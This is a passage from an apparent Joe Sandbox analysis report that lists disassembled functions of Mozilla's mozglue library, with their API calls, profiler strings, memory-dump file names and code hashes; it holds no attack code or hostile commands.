Part of subcall function 6C335C50: LeaveCriticalSection.KERNEL32(6C39F688), ref: 6C335DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C367B31

Strings

$me/, xrefs: 6C3677AF

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID: $me/
API String ID: 4054851604-2210144079
Opcode ID: 0f188d16a8214d2ce0a3693168e72c913126bda45e88938d150d603c8ac6c9fe
Instruction ID: 4b8f5228f19b642985c592a70c519068e6fd6793766a2a47b9d5124cf8fe7b07
Opcode Fuzzy Hash: 0f188d16a8214d2ce0a3693168e72c913126bda45e88938d150d603c8ac6c9fe
Instruction Fuzzy Hash: 12B19A316083808BCB14CF26C05069FB7E2AFCA318F554A1DE99567B94DB71E90ACF83

Function 6C37C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C37C0E9), ref: 6C37C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C37C437
FreeLibrary.KERNEL32(?,6C37C0E9), ref: 6C37C44C

Strings

NtQueryVirtualMemory, xrefs: 6C37C431
ntdll.dll, xrefs: 6C37C413

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: e8aa37cd6d57988ce0784a8aa9f0905bcad3ff9c6d1e166c6b25d96b9ec04f43
Instruction ID: 5d89f80d072b9adb5fd273ba9dc72a1442d82c17d205f68b66f9b9f17900ac86
Opcode Fuzzy Hash: e8aa37cd6d57988ce0784a8aa9f0905bcad3ff9c6d1e166c6b25d96b9ec04f43
Instruction Fuzzy Hash: 6BE0B670A193119BDF61BF79E9087157BFCA70E208F10411AFA0495601FBBBC0108F64

Function 6C31BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C31C1CB
__aulldiv.LIBCMT ref: 6C31C24C
__aulldiv.LIBCMT ref: 6C31C348
__aullrem.LIBCMT ref: 6C31C365
__aulldiv.LIBCMT ref: 6C31C37D

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 8a759e89afb4d32f0649d4118186f1a954d6c3289017c131e43661cb9902ad16
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 4F322432B086118FC718DE2CC890A56BBE6AFC9314F09867DE899CB795D730ED05CB91

Function 6C356CF0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C356D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C356E1E

Strings

$me/, xrefs: 6C356D04

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID: $me/
API String ID: 4169067295-2210144079
Opcode ID: 8d70ac55917e247f6f10c6c3c4a0a32751ed4df3f75db5ad5d68f211e0dcc89e
Instruction ID: 9584d0f4ac03d77732cf698e288a146d3f034309f609b93160d64da7219ceff7
Opcode Fuzzy Hash: 8d70ac55917e247f6f10c6c3c4a0a32751ed4df3f75db5ad5d68f211e0dcc89e
Instruction Fuzzy Hash: D7A15C74A183818FD715CF25C490BAEBBF6BF89308F44491DE48A87B51DB71A858CF92

Function 6C37B700 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C34FE3F), ref: 6C37B720
RtlNtStatusToDosError.NTDLL ref: 6C37B75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C34FE3F), ref: 6C37B760

Strings

$me/, xrefs: 6C37B707

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID: $me/
API String ID: 304294125-2210144079
Opcode ID: a81a8c2452dbafbd80dfdbaa7eac200fd7998458b1ecc426efc086f3cfd5c977
Instruction ID: 1a191430da3f229c9e6abf6920ab0398d814eae4a876f045ec699164f197aaaa
Opcode Fuzzy Hash: a81a8c2452dbafbd80dfdbaa7eac200fd7998458b1ecc426efc086f3cfd5c977
Instruction Fuzzy Hash: 09F0AFB0A0024CAEEF119AA19C84BEEB7BD9F0431EF105229E551696C0D77D958CCEB5

Function 6C334640 Relevance: 5.8, APIs: 1, Strings: 2, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C334777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C335585, 6C3355A8, 6C3355C3, 6C335624
$me/, xrefs: 6C334653

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: AllocVirtual
String ID: $me/$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1257563908
Opcode ID: 6265dd673307999e6e5d0a4c9ff6993b55af887920bc4fee8603a76310839b1b
Instruction ID: 793d035335e6dcc9c40ea4488f944b00242d417fca16eb798ed45d2961f4698f
Opcode Fuzzy Hash: 6265dd673307999e6e5d0a4c9ff6993b55af887920bc4fee8603a76310839b1b
Instruction Fuzzy Hash: 30B26B71A056518FD308CF19C590715BBE2BFC5328B29C7ADE86E8B6A5D772E841CF80

Function 6C3785F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C378C7C
__aulldiv.LIBCMT ref: 6C378DD7

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: c1d15562415a52cc6081d7fb3fc22ad70825917ec9708e21966e8b7added58e2
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 80327031F111198BDF18CE9CC4A17AEF7B6FB88300F15852AD506BB790DA389D458FA6

Function 6C355C10 Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C324A63,?,?), ref: 6C355F06

Strings

$me/, xrefs: 6C355C19

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: memcmp
String ID: $me/
API String ID: 1475443563-2210144079
Opcode ID: 3b2103a725389a1e1b03dbdd763a8751a02148a5754a0bee24ff80862434a347
Instruction ID: 2153537bfede8a12567d17b7364ff34d0614981ceeaf71348ccb762e72a8f1ac
Opcode Fuzzy Hash: 3b2103a725389a1e1b03dbdd763a8751a02148a5754a0bee24ff80862434a347
Instruction Fuzzy Hash: B0C1AF75E012498BCB04CF95C590AEEBBF2FF8A318F684159D8556BB44D732A816CF90

Function 6C31DFE0 Relevance: 1.9, Strings: 1, Instructions: 683COMMON

Download Yara Rule

Strings

$me/, xrefs: 6C31DFF3

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID:
String ID: $me/
API String ID: 0-2210144079
Opcode ID: c8c49b1c8d8dd2bed17bb9b675cf7d0bb82d92b736b3d3f58e7d48033c1ef1c2
Instruction ID: 242745d6d5f07a350ea57695122eb292decc45decac03f1deceeeb921eba80b3
Opcode Fuzzy Hash: c8c49b1c8d8dd2bed17bb9b675cf7d0bb82d92b736b3d3f58e7d48033c1ef1c2
Instruction Fuzzy Hash: E542C272A187508FD308CE3CC49075AB3E6BFC9364F094B2DE999A7B90D735D9418B82

Function 6C3876E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~q1l, xrefs: 6C387796, 6C3879C0, 6C38793C, 6C3879FB, 6C387B0B, 6C387E0B

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID:
String ID: ~q1l
API String ID: 0-2110660629
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: fbcfc2997332382710ec645ae60e2529e1bab6eedda09dde90eb6063df82301f
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 11321971E016198FCB14CF98C890AADFBF2FF89308F648169D949A7745D731A986CF90

Function 6C386E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~q1l, xrefs: 6C387C72, 6C387C03, 6C3879C0, 6C38793C, 6C3879FB, 6C387B0B, 6C387E0B

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID:
String ID: ~q1l
API String ID: 0-2110660629
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: acb0ff0d6308a3136bc5eaa194b37ea42c950ee2d1a0a66009a94b302fc3625a
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6722F871E012198FCB14CF98C880AADF7F6FF89308F6481A9D949A7745D731A986CF90

Function 6C38AC00 Relevance: 1.7, Strings: 1, Instructions: 445COMMON

Download Yara Rule

Strings

$me/, xrefs: 6C38AC1B

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID:
String ID: $me/
API String ID: 0-2210144079
Opcode ID: a2cd4a4489caca76a250f717480918b7a0456429e49e15c90535095b3baf331f
Instruction ID: c69529d33609b424e18bf8a7b219c62bc5678f2573d4ae5e8e1c48fcfa30a36d
Opcode Fuzzy Hash: a2cd4a4489caca76a250f717480918b7a0456429e49e15c90535095b3baf331f
Instruction Fuzzy Hash: 1DF1387160A7458FD700CF28C8907AAB7E6AFC5318F188A2DE5D4CB7C1E77598498F92

Function 6C357710 Relevance: 1.5, Strings: 1, Instructions: 206COMMON

Download Yara Rule

Strings

$me/, xrefs: 6C35771C

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID: $me/
API String ID: 2429186680-2210144079
Opcode ID: e7bf62d31981578738f5a23ee8c48c3bbc93849ffaa12a7fe86645ea9e9d7890
Instruction ID: 139bf9298ae137f5c1fbf59de3a2b7a8fa5afc85def00e27a4525a8d50f6c049
Opcode Fuzzy Hash: e7bf62d31981578738f5a23ee8c48c3bbc93849ffaa12a7fe86645ea9e9d7890
Instruction Fuzzy Hash: E8718B71E112198FCB08CFA8D8909EDBBB6FF89314F64812ED816AB740D731A905CF90

Function 6C340512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 21f467ff4fd8320d430ab95d07bba29d9a9db988d66da3e47e5eb9a7e274f16e
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: BE22F575E046298FDB14CF98C890AADFBF2FF88308F548699C44AA7745D731A985CF90

Function 6C31C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: b103a43e21c2562c89e18501db0db1395f2e503fd3ac48c3d83b475b6ed1bb77
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: FEA19E71F0421A8FDB08CE69D8913AEB7E2AFC8354F188139D915A7B81DB749C068F90

Function 6C35CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C32582D), ref: 6C35CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C32582D), ref: 6C35CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C38FE98,?,?,?,?,?,6C32582D), ref: 6C35CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C32582D), ref: 6C35CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C32582D), ref: 6C35CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C32582D), ref: 6C35CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C32582D), ref: 6C35CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C35CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C35CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C35CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C35CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C35CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C35CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C35CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C35CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C35CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C35CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C35CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C35CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C35CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C35CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C35CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C35CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C35CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C35CE8A

Strings

Unrecognized feature "%s"., xrefs: 6C35CEA0
samplingallthreads, xrefs: 6C35CE2C
java, xrefs: 6C35CC37
notimerresolutionchange, xrefs: 6C35CE00
unregisteredthreads, xrefs: 6C35CE58
nostacksampling, xrefs: 6C35CD7C
mainthreadio, xrefs: 6C35CC7C
seqstyle, xrefs: 6C35CCE6
cpuallthreads, xrefs: 6C35CE16
default, xrefs: 6C35CC21
stackwalk, xrefs: 6C35CCF8
ipcmessages, xrefs: 6C35CDBE
fileioall, xrefs: 6C35CCA8
noiostacks, xrefs: 6C35CCBE
screenshots, xrefs: 6C35CCD4
power, xrefs: 6C35CE84
preferencereads, xrefs: 6C35CD92
jsallocations, xrefs: 6C35CD0E
markersallthreads, xrefs: 6C35CE42
fileio, xrefs: 6C35CC92
nativeallocations, xrefs: 6C35CDA8
leaf, xrefs: 6C35CC66
processcpu, xrefs: 6C35CE6E
audiocallbacktracing, xrefs: 6C35CDD4

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 35042460c93523097b803fb29893a298ff53769aa0ccdab62e00c07ab769c36e
Instruction ID: 58e42b7a3f69dd6229c49e03aeddf4aa3b3620f28bc53883542e197308e4315e
Opcode Fuzzy Hash: 35042460c93523097b803fb29893a298ff53769aa0ccdab62e00c07ab769c36e
Instruction Fuzzy Hash: B251ADD1A0732512FA0031257D10FAA148DEF5F24EF944535DE46E1E80FB4E962ACEB7

Function 6C3247C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C324801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C324817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C32482D
__Init_thread_footer.LIBCMT ref: 6C32484A

Part of subcall function 6C34AB3F: EnterCriticalSection.KERNEL32(6C39E370,?,?,6C313527,6C39F6CC,?,?,?,?,?,?,?,?,6C313284), ref: 6C34AB49
Part of subcall function 6C34AB3F: LeaveCriticalSection.KERNEL32(6C39E370,?,6C313527,6C39F6CC,?,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34AB7C

GetCurrentThreadId.KERNEL32 ref: 6C32485F
GetCurrentThreadId.KERNEL32 ref: 6C32487E
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C32488B
free.MOZGLUE(?), ref: 6C32493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C324956
free.MOZGLUE(00000000), ref: 6C324960
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C32499A

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

free.MOZGLUE(?), ref: 6C3249C6
free.MOZGLUE(?), ref: 6C3249E9

Part of subcall function 6C335E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C335EDB
Part of subcall function 6C335E90: memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C335F27
Part of subcall function 6C335E90: LeaveCriticalSection.KERNEL32(?), ref: 6C335FB2

Strings

MOZ_PROFILER_SHUTDOWN, xrefs: 6C324A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C324812
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C324828
[I %d/%d] profiler_shutdown, xrefs: 6C324A06
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C3247FC

Memory Dump Source

Source File: 00000000.00000002.2248360643.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2248331086.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248462939.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2248489605.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_j7iUba2bki.jbxd

Similarity

